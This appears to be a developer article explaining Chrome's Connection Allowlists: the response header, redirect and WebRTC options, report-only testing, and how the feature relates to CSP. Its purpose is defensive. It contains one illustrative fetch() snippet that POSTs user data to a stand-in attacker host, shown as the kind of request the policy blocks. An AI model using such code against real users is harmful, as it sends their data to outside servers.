A web application may communicate with only three trusted APIs, but a compromised script could try to send user data to a completely different server. Your application might never intentionally make that request, yet a third-party library or dynamically generated JavaScript could still attempt it.
Chrome's Connection Allowlists give developers another way to prevent this behavior. Introduced in Chrome 152, the feature lets a website define which network destinations a document or worker is allowed to contact. Chrome checks outgoing connections against the configured list and blocks connections that do not match.
The feature is especially useful for applications that execute third-party scripts, display AI-generated interfaces, or run untrusted code in a browser. Instead of relying entirely on application logic to decide where requests can go, developers can set a network boundary that the browser enforces.
Connection Allowlists complement Content Security Policy (CSP). They do not replace the existing security controls that protect scripts, resources, and other parts of a web application.
Why Do Web Applications Need Connection Allowlists?
Most web applications communicate with several services. A dashboard might request data from its own backend, retrieve files from object storage, and send error reports to a monitoring service.
Developers normally control these requests through application code and browser security policies. The difficulty is that a web page can contain code from multiple sources, and not every script deserves unrestricted access to every network destination.
Consider an application that runs user-provided JavaScript inside a code playground. The playground needs to call a small set of APIs, but the code being executed is not fully trusted.
If that code can access arbitrary network destinations, it could attempt to send information to an external server:
async function runUntrustedCode(userData) {
await fetch("https://attacker.example/collect", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify(userData)
});
}
This is an illustrative example of an unwanted request. Whether the request succeeds depends on the browser's security controls and the surrounding application.
Application-level checks alone are not a reliable boundary against code that can execute arbitrary JavaScript. A network allowlist adds another layer by telling Chrome which destinations the page is permitted to contact.
What Are Chrome Connection Allowlists?
Connection Allowlists use the Connection-Allowlist HTTP response header to define permitted URL patterns.
Chrome evaluates a connection before establishing it. If the destination matches the configured policy, the connection can proceed. If it does not match, Chrome blocks it.
The policy follows a deny-by-default approach when an allowlist is configured. Developers explicitly identify the destinations their application needs instead of trying to predict every destination that should be forbidden.
For example, a web application may need access to its own origin and one external API. Its response could include:
Connection-Allowlist: ("https://api.example.com/*" response-origin)
Here, https://api.example.com/* permits matching URLs on the API host, while response-origin adds the origin from which the document response was served.
The pattern is intentionally broad for the API host. In production, review whether the application needs access to every path on that host or whether a narrower policy is more appropriate.
The header is configured by the server. It is not a JavaScript setting that the page can safely use to grant itself additional permissions.
How Connection Allowlists Work
The browser receives the policy with the document response and applies it to network activity initiated by that context.
The process has three main steps.
1. The server sends the allowlist
The server includes the Connection-Allowlist header in the HTTP response for the document or supported context.
The header contains URL patterns describing permitted destinations. Chrome parses the policy and associates it with the relevant context.
2. The page attempts a connection
A script may use fetch(), a WebSocket, a navigation, or another supported web platform feature to initiate network activity.
Chrome checks the destination against the allowlist before establishing the connection.
3. Chrome allows or blocks the connection
If the destination matches the policy, the connection is allowed to proceed, subject to other browser security checks.
If it does not match, Chrome blocks the connection. Developers can inspect the result in Chrome DevTools to identify the destination that was rejected.
This enforcement is useful because it does not depend on every application function remembering to validate the destination. The browser applies the policy at the network boundary.
Configure a Connection Allowlist
The first step is to decide which services the page genuinely needs. For a typical application, this might include the application's own origin, an API server, and a dedicated service used for authentication.
The server can then return a response header such as:
Connection-Allowlist: ("https://api.example.com/*" response-origin)
This configuration allows requests matching the specified API pattern and the document's response origin.
The response-origin token is helpful when an application should communicate with the same origin that served the document. It avoids hardcoding that origin into the policy.
Do not assume that adding the API host automatically permits every related service. Authentication providers, payment processors, file storage, and other integrations may use separate origins. Each required destination needs to be considered explicitly.
Allow redirects and WebRTC when required
By default, Connection Allowlists block redirects and WebRTC connections under an enforced policy. If the application requires these capabilities, the policy can opt in:
Connection-Allowlist: ("https://api.example.com/*"); redirects=allow; webrtc=allow
The redirects=allow parameter permits redirects under the policy's rules, while webrtc=allow enables WebRTC connections.
These options should be added only when the application needs them. Allowing redirects can expand the set of destinations involved in a request, so test the complete redirect chain and ensure the final destination is appropriate.
WebRTC also serves a different purpose from ordinary HTTP requests. Applications that use browser-based audio, video, or peer-to-peer communication should test those flows separately before enforcing a strict policy.
Test the Policy Before Blocking Connections
A restrictive network policy can break features that developers did not realize depended on external services. An application might load its main page successfully but fail when a user signs in, opens a report, or starts a video call.
Chrome supports a report-only mode that lets developers observe violations without immediately blocking the affected connections.
For example:
Reporting-Endpoints: security-endpoint="https://reports.example.com/csp"
Connection-Allowlist-Report-Only: ("https://api.example.com/*" response-origin); report-to=security-endpoint
The Reporting-Endpoints header maps the reporting endpoint name to a URL. The report-only policy tells Chrome to report policy violations rather than enforce the allowlist by blocking those connections.
The endpoint in this example is illustrative. Configure a real endpoint that accepts the relevant Reporting API reports before deploying this header.
A sensible rollout looks like this:
Record the external services your application uses.
Deploy the report-only policy.
Exercise login, file uploads, API calls, embedded content, and other important workflows.
Review reported violations and determine which destinations are legitimate.
Update the allowlist and test it again.
Enable enforcement only after the policy covers the required connections.
Reporting gives you evidence about actual application behavior. It does not guarantee that every possible path has been tested, so include less common workflows in your review.
Connection Allowlists vs. Content Security Policy
Content Security Policy is already a key part of browser security. It controls which sources can provide scripts, styles, images, frames, and other resources. It also includes directives such as connect-src for certain network requests.
Connection Allowlists focus on a different question: Which destinations can this context contact at the network level?
Area | Content Security Policy | Connection Allowlists |
|---|
Main purpose | Control resource loading and related browser behavior | Define permitted network destinations |
Configuration | Multiple directives for different resource types | A destination-focused URL pattern list |
Network protection | Depends on the relevant CSP directive and request type | Applies a unified allowlist to supported connection mechanisms |
Relationship | Remains an important security control | Adds another layer alongside CSP |
Best use | Restrict scripts, frames, images, and other resource sources | Limit where a page or worker can communicate |
CSP and Connection Allowlists should be used together when both are supported by the application. A connection allowlist does not replace protections against unsafe script execution, clickjacking, or other browser threats.
Where Connection Allowlists Are Most Useful
AI-generated code and interfaces
An application that runs AI-generated JavaScript may not know every network request the generated code could attempt. A restrictive allowlist can limit that code to approved services.
For this scenario, isolation matters. Run untrusted code inside a dedicated cross-origin or properly sandboxed iframe, and apply the network policy to that isolated context. Do not rely on an allowlist as a substitute for separating trusted and untrusted code.
Third-party scripts
Analytics, advertising, chat widgets, and other embedded scripts can increase the number of services a page contacts. If a script is compromised, an allowlist can limit its ability to connect to unapproved destinations.
The policy must account for the script's legitimate requirements. A strict list that excludes a required service can break the integration.
Browser-based development tools
Online code editors, interactive tutorials, and web-based testing environments often execute code that users can modify. These tools can benefit from a clear network boundary around the execution environment.
The same approach can help internal tools that let users run custom transformations or preview generated components.
Common Mistakes to Avoid
Allowing every destination. A policy that permits broad URL patterns may provide little protection. Start with the destinations the application actually needs.
Forgetting authentication services. Federated login flows can contact an identity provider's configuration, account, and assertion endpoints. If those endpoints are not allowed, sign-in may fail.
Assuming CSP is no longer needed. Connection Allowlists complement CSP. Keep existing resource restrictions and other security headers in place.
Enabling enforcement before testing. Missing an API, redirect, or WebRTC connection can break a working application. Use report-only mode and test important user journeys first.
Trusting a shared-origin iframe with untrusted code. Same-origin scripting can undermine the isolation you intended. Use an appropriately isolated context and apply the policy where the untrusted code executes.
Advantages and Disadvantages
Advantages
Browser-level enforcement: Chrome checks destinations before establishing supported connections.
Clear network boundaries: Developers can list approved destinations rather than relying only on application logic.
Useful for untrusted code: The feature can limit the network access of isolated AI-generated or user-provided code.
Reporting support: Report-only mode helps identify legitimate connections before enforcement.
Works alongside CSP: Teams can add destination controls without abandoning existing security policies.
Disadvantages
Configuration can break features: Missing destinations may affect login, API calls, redirects, or real-time communication.
Requires testing: Developers need to exercise application workflows and review violations.
Not a complete security solution: It does not replace script restrictions, iframe isolation, authentication, or server-side authorization.
Browser support matters: Applications must account for clients that do not support the feature.
Conclusion
Chrome Connection Allowlists give web developers a direct way to limit the network destinations a page or worker can contact. By sending the Connection-Allowlist response header, a server can define approved URL patterns and let Chrome block connections that fall outside the policy.
The feature is particularly useful for AI-generated code, embedded third-party scripts, and browser-based tools that execute untrusted content. The safest approach is to isolate that content, begin with report-only monitoring, and enforce a narrowly scoped allowlist after testing the application's real network requirements.
Connection Allowlists add a useful network boundary, but they work best as part of a broader browser security strategy that still includes CSP, appropriate isolation, and server-side access controls.
Join the conversation! Your thoughts help the community grow.